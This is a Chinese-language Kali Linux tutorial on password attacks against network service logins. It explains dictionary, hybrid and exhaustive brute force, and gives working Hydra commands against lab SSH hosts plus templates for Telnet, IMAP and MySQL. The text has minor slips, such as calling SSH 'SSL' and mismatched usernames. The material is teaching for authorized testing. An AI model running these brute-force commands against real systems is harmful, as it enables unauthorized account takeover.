Kali渗透测试:身份认证攻击
1.1 简单网络服务认证的攻击
网络上很多常见的应用都采用了密码认证的方式,如SSH、Telnet、FTP等。这些应用被广泛应用在各种网络设备上,如果这些认证模式出现问题,就意味着网络中的大量设备将会沦陷。
针对这些常见的网络服务认证,我们可以采用一种“暴力破解”的方法。就是把所有可能的密码都尝试一遍。一般有以下3种思路:
1.1.1 纯字典攻击
这种思路最简单,攻击者只需要利用攻击工具将用户名和字典中的密码组合起来,一个一个尝试即可。破解成功的概率与选用的字典有很大关系。
1.1.2 混合攻击
混合攻击依靠一定的算法对字典中的单词进行处理之后再使用。一个最简单的算法就是在这些单词前面或者后面添加一些常见的数字,如一个单词“test”,经过算法处理之后就会变成“test1”“test2”……“test1981” “test19840123”等。
1.1.3 完全暴力攻击
这是一种最为“粗暴”的攻击方式,实际上这种方式并不需要字典,而是由攻击工具将所有的密码穷举出来。这种攻击方式通常需要很长时间,也是最不可行的一种方式。下图给出了一种使用SSL服务的身份验证界面, IP地址为192.168.68.125的服务器上提供了SSL服务,这个服务的拥有者将密码提供给合法用户,用户通过密码认证之后就可以访问里面的资源了。
下面讲解针对这种网络身份验证的渗透过程,这里我们使用Hydra作为渗透攻击。Hydra的本意为希腊神话中的九头蛇,是一款非常强大的网络服务密码破解工具。Hydra支持30多种常见的网络服务或者协议的破解,其中包括ARP、Cisco AAA验证、FTP、HTTP、POP3、SNMP、SSH、Telnet等。
在Kali中我们可以在Applications 中选择“05-Password Attacks”–> “Online Attacks”–>“Hydra”来启动这个工具,如下图所示:
Hydra是一款命令行工具,它的命令格式如下:
└─# hydra
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
Options:
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to attack, one entry per line, ':' to specify port
-t TASKS run TASKS number of connects in parallel per target (default: 16)
-U service module usage details
-m OPT options specific for a module, see -U output for information
-h more command line options (COMPLETE HELP)
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)
Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
Hydra is a tool to guess/crack valid login/password pairs.
Licensed under AGPL v3.0. The newest version is always available at;
https://github.com/vanhauser-thc/thc-hydra
Please don't use in military or secret service organizations, or for illegal
purposes. (This is a wish and non-binding - most such people do not care about
laws and ethics anyway - and tell themselves they are one of the good ones.)
Example: hydra -l user -P passlist.txt ftp://192.168.0.1
使用Kali自带的一个包含弱口令的字典small.txt,它位于/usr/share/wordlist/dirb目录中。假设事先已经知道用户名为kali,只需要破解密码:
┌──(root💀kali)-[~]
└─#hydra 192.168.68.242 ssh -l kali -P /usr/share/wordlists/dirb/small.txt -t 6 -v -f
其中- P用来指明使用的字典为small.txt,破解时需要用户名为liuxiaowei(假设事先已知),-t指明破解时的线程数,- v显示详细信息,-f表示成功找到一个密码后停止。下图所示给出了Hydra执行攻击的具体过程:
如果成功破解出了用户名和密码,结果将会以绿色显示(本人的操作背景就是绿色,所以不明显),Hydra得到的结果如下图所示:
接下来,我们尝试不使用字典,而使用完全暴力破解的方式。假设我们知道密码为4位,而且都为字符,那么我们可以用4:4:1来表示所有的长度为4位的纯字符密码。因为这种破解方式很慢,所以我们将线程设置为6(数值不能过大),破解命令如下:
┌──(root💀kali)-[~]
└─#hydra 192.168.68.125 ssh -l kali -x 4:4:a -t 6 -v -f
Hydra执行完全暴力破解攻击的具体过程如下图所示:
在攻击的最后,我们得到了可以登录的用户名和密码。但是这个过程十分漫长,因为不使用字典,单纯暴力破解是一件极为困难的事情。其他常见协议的破解方式都大同小异,只有Web页面都区别比较大。下面列出常见的协议破解命令:
#破解Telnet
┌──(root💀kali)-[~]
└─# hydra 目标ip地址 telnet -l 用户名 -P 密码字典 -s 23
# 破解IMAP
┌──(root💀kali)-[~]
└─# hydra - L 用户名字典 -P 密码字典 目标地址 service imap
# 破解MySQL
┌──(root💀kali)-[~]
└─# hydra 目标ip地址 mysql -l root -P 密码文件